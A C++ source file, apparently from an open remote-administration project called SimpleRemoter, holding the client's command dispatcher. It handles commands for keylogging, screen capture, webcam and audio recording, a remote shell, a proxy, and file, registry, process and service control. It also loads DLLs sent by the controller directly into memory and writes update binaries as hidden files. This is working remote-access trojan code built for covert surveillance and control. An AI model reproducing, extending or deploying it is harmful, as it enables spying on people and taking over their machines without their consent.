Files
SimpleRemoter/client/KernelManager.cpp
2025-06-27 22:33:00 +02:00

432 lines
12 KiB
C++
Raw Blame History

This file contains invisible Unicode characters
This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
// KernelManager.cpp: implementation of the CKernelManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "KernelManager.h"
#include "Common.h"
#include <iostream>
#include <fstream>
#include <corecrt_io.h>
#include "ClientDll.h"
#include "MemoryModule.h"
#include "common/dllRunner.h"
#include "server/2015Remote/pwd_gen.h"
#include <common/iniFile.h>
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit) {
static ThreadInfo tKeyboard;
tKeyboard.run = FOREVER_RUN;
tKeyboard.p = new IOCPClient(bExit, false);
tKeyboard.conn = conn;
tKeyboard.h = (HANDLE)CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL);
return &tKeyboard;
}
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb)
: m_conn(conn), m_hInstance(hInstance), CManager(ClientObject)
{
m_ulThreadCount = 0;
#ifdef _DEBUG
m_settings = { 5 };
#else
m_settings = { 30 };
#endif
m_nNetPing = -1;
m_hKeyboard = kb;
}
CKernelManager::~CKernelManager()
{
Mprintf("~CKernelManager begin\n");
int i = 0;
for (i=0;i<MAX_THREADNUM;++i)
{
if (m_hThread[i].h!=0)
{
CloseHandle(m_hThread[i].h);
m_hThread[i].h = NULL;
m_hThread[i].run = FALSE;
while (m_hThread[i].p)
Sleep(50);
}
}
m_ulThreadCount = 0;
Mprintf("~CKernelManager end\n");
}
// »ñÈ¡¿ÉÓõÄÏß³Ìϱê
UINT CKernelManager::GetAvailableIndex() {
if (m_ulThreadCount < MAX_THREADNUM) {
return m_ulThreadCount;
}
for (int i = 0; i < MAX_THREADNUM; ++i)
{
if (m_hThread[i].p == NULL) {
return i;
}
}
return -1;
}
BOOL WriteBinaryToFile(const char* data, ULONGLONG size, const char* name = "ServerDll.new")
{
char path[_MAX_PATH], * p = path;
GetModuleFileNameA(NULL, path, sizeof(path));
while (*p) ++p;
while ('\\' != *p) --p;
strcpy(p + 1, name);
if (_access(path, 0) != -1)
{
if (std::string("ServerDll.new")!=name) return TRUE;
DeleteFileA(path);
}
// ´ò¿ªÎļþ£¬ÒÔ¶þ½øÖÆÄ£Ê½Ð´Èë
std::string filePath = path;
std::ofstream outFile(filePath, std::ios::binary);
if (!outFile)
{
Mprintf("Failed to open or create the file: %s.\n", filePath.c_str());
return FALSE;
}
// дÈë¶þ½øÖÆÊý¾Ý
outFile.write(data, size);
if (outFile.good())
{
Mprintf("Binary data written successfully to %s.\n", filePath.c_str());
}
else
{
Mprintf("Failed to write data to file.\n");
outFile.close();
return FALSE;
}
// ¹Ø±ÕÎļþ
outFile.close();
// ÉèÖÃÎļþÊôÐÔΪÒþ²Ø
if (SetFileAttributesA(filePath.c_str(), FILE_ATTRIBUTE_HIDDEN))
{
Mprintf("File created and set to hidden: %s\n", filePath.c_str());
}
return TRUE;
}
typedef struct DllExecParam
{
DllExecuteInfo info;
PluginParam param;
BYTE* buffer;
DllExecParam(const DllExecuteInfo& dll, const PluginParam& arg, BYTE* data) : info(dll), param(arg) {
buffer = new BYTE[info.Size];
memcpy(buffer, data, info.Size);
}
~DllExecParam() {
SAFE_DELETE_ARRAY(buffer);
}
}DllExecParam;
class MemoryDllRunner : public DllRunner {
protected:
HMEMORYMODULE m_mod;
public:
MemoryDllRunner() : m_mod(nullptr) {}
virtual void* LoadLibraryA(const char* data, int size) {
return (m_mod = ::MemoryLoadLibrary(data, size));
}
virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) {
return ::MemoryGetProcAddress((HMEMORYMODULE)mod, lpProcName);
}
virtual BOOL FreeLibrary(void* mod) {
::MemoryFreeLibrary((HMEMORYMODULE)mod);
return TRUE;
}
};
DWORD WINAPI ExecuteDLLProc(LPVOID param) {
DllExecParam* dll = (DllExecParam*)param;
DllExecuteInfo info = dll->info;
PluginParam pThread = dll->param;
#ifdef _DEBUG
WriteBinaryToFile((char*)dll->buffer, info.Size, info.Name);
DllRunner* runner = new DefaultDllRunner(info.Name);
#else
DllRunner* runner = new MemoryDllRunner();
#endif
HMEMORYMODULE module = runner->LoadLibraryA((char*)dll->buffer, info.Size);
if (module) {
switch (info.CallType)
{
case CALLTYPE_DEFAULT:
while (S_CLIENT_EXIT != *pThread.Exit)
Sleep(1000);
break;
case CALLTYPE_IOCPTHREAD: {
PTHREAD_START_ROUTINE proc = (PTHREAD_START_ROUTINE)runner->GetProcAddress(module, "run");
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
if (proc) {
proc(&pThread);
}else {
while (S_CLIENT_EXIT != *pThread.Exit)
Sleep(1000);
}
break;
}
default:
break;
}
runner->FreeLibrary(module);
}
else {
Mprintf("MemoryLoadLibrary '%s' failed\n", info.Name);
}
SAFE_DELETE(dll);
SAFE_DELETE(runner);
return 0x20250529;
}
DWORD WINAPI SendKeyboardRecord(LPVOID lParam) {
CManager* pMgr = (CManager*)lParam;
if (pMgr) {
pMgr->Reconnect();
pMgr->Notify();
}
return 0xDead0001;
}
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
if ((m_ulThreadCount = GetAvailableIndex()) == -1 && !isExit) {
return Mprintf("CKernelManager: The number of threads exceeds the limit.\n");
}
else if (!isExit) {
m_hThread[m_ulThreadCount].p = nullptr;
m_hThread[m_ulThreadCount].conn = m_conn;
}
switch (szBuffer[0])
{
case CMD_AUTHORIZATION: {
HANDLE hMutex = OpenMutex(SYNCHRONIZE, FALSE, "MASTER.EXE");
hMutex = hMutex ? hMutex : OpenMutex(SYNCHRONIZE, FALSE, "YAMA.EXE");
#ifndef _DEBUG
if (hMutex == NULL) // ûÓл¥³âÁ¿£¬Ö÷³ÌÐò¿ÉÄÜδÔËÐÐ
break;
#endif
CloseHandle(hMutex);
char buf[100] = {}, *passCode = buf + 5;
memcpy(buf, szBuffer, min(sizeof(buf), ulLength));
std::string masterHash(skCrypt(MASTER_HASH));
const char* pwdHash = m_conn->pwdHash[0] ? m_conn->pwdHash : masterHash.c_str();
if (passCode[0] == 0) {
std::string devId = getDeviceID();
memcpy(buf + 5, devId.c_str(), devId.length()); // 16×Ö½Ú
memcpy(buf + 32, pwdHash, 64); // 64×Ö½Ú
m_ClientObject->Send2Server((char*)buf, sizeof(buf));
} else {
int* days = (int*)(buf + 1);
config* cfg = pwdHash == masterHash ? new config : new iniFile;
cfg->SetStr("settings", "Password", *days <= 0 ? "" : passCode);
cfg->SetStr("settings", "HMAC", *days <= 0 ? "" : buf + 64);
delete cfg;
g_bExit = S_SERVER_EXIT;
}
break;
}
case CMD_EXECUTE_DLL: {
#ifdef _WIN64
static std::map<std::string, std::vector<BYTE>> m_MemDLL;
const int sz = 1 + sizeof(DllExecuteInfo);
if (ulLength < sz)break;
DllExecuteInfo* info = (DllExecuteInfo*)(szBuffer + 1);
const char* md5 = info->Md5;
auto find = m_MemDLL.find(md5);
if (find == m_MemDLL.end() && ulLength == sz) {
// µÚÒ»¸öÃüÁîûÓаüº¬DLLÊý¾Ý£¬Ðè¿Í»§¶Ë¼ì²â±¾µØÊÇ·ñÒѾ­ÓÐÏà¹ØDLL£¬Ã»ÓÐÔòÏòÖ÷¿ØÇëÇóÖ´ÐдúÂë
m_ClientObject->Send2Server((char*)szBuffer, ulLength);
break;
}
BYTE* data = find != m_MemDLL.end() ? find->second.data() : NULL;
if (info->Size == ulLength - sz && info->RunType == MEMORYDLL) {
if (md5[0]) m_MemDLL[md5] = std::vector<BYTE>(szBuffer + sz, szBuffer + sz + info->Size);
data = szBuffer + sz;
}
if (data) {
PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit, m_conn);
CloseHandle(CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam(*info, param, data), 0, NULL));
Mprintf("Execute '%s'%d succeed - Length: %d\n", info->Name, info->CallType, info->Size);
}
#endif
break;
}
case COMMAND_PROXY: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_SHARE:
if (ulLength > 2) {
switch (szBuffer[1]) {
case SHARE_TYPE_YAMA: {
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE);
if (nullptr!=a) CloseHandle(CreateThread(0, 0, StartClientApp, a, 0, 0));
break;
}
case SHARE_TYPE_HOLDINGHANDS:
break;
}
}
break;
case CMD_HEARTBEAT_ACK:
if (ulLength > 8) {
uint64_t n = 0;
memcpy(&n, szBuffer + 1, sizeof(uint64_t));
auto system_ms = std::chrono::time_point_cast<std::chrono::milliseconds>(
std::chrono::system_clock::now()
);
m_nNetPing = int((system_ms.time_since_epoch().count() - n) / 2);
}
break;
case CMD_MASTERSETTING:
if (ulLength > sizeof(MasterSettings)) {
memcpy(&m_settings, szBuffer + 1, sizeof(MasterSettings));
}
break;
case COMMAND_KEYBOARD: //¼üÅ̼Ǽ
{
if (m_hKeyboard) {
CloseHandle(CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
} else {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);;
}
break;
}
case COMMAND_TALK:
{
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
m_hThread[m_ulThreadCount].user = m_hInstance;
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_SHELL:
{
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_SYSTEM: //Ô¶³Ì½ø³Ì¹ÜÀí
{
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_WSLIST: //Ô¶³Ì´°¿Ú¹ÜÀí
{
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_BYE:
{
BYTE bToken = COMMAND_BYE;// ±»¿Ø¶ËÍ˳ö
m_ClientObject->OnServerSending((char*)&bToken, 1);
g_bExit = S_CLIENT_EXIT;
Mprintf("======> Client exit \n");
break;
}
case SERVER_EXIT:
{
BYTE bToken = SERVER_EXIT;// Ö÷¿Ø¶ËÍ˳ö
m_ClientObject->OnServerSending((char*)&bToken, 1);
g_bExit = S_SERVER_EXIT;
Mprintf("======> Server exit \n");
break;
}
case COMMAND_SCREEN_SPY:
{
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
if (ulLength > 1) {
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
}
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
m_hThread[m_ulThreadCount].user = user;
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_LIST_DRIVE :
{
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_WEBCAM:
{
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_AUDIO:
{
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_REGEDIT:
{
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_SERVICES:
{
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
break;
}
case COMMAND_UPDATE:
{
ULONGLONG size=0;
memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG));
if (WriteBinaryToFile((const char*)szBuffer + 1 + sizeof(ULONGLONG), size)) {
g_bExit = S_CLIENT_UPDATE;
}
break;
}
default:
{
Mprintf("!!! Unknown command: %d\n", unsigned(szBuffer[0]));
break;
}
}
}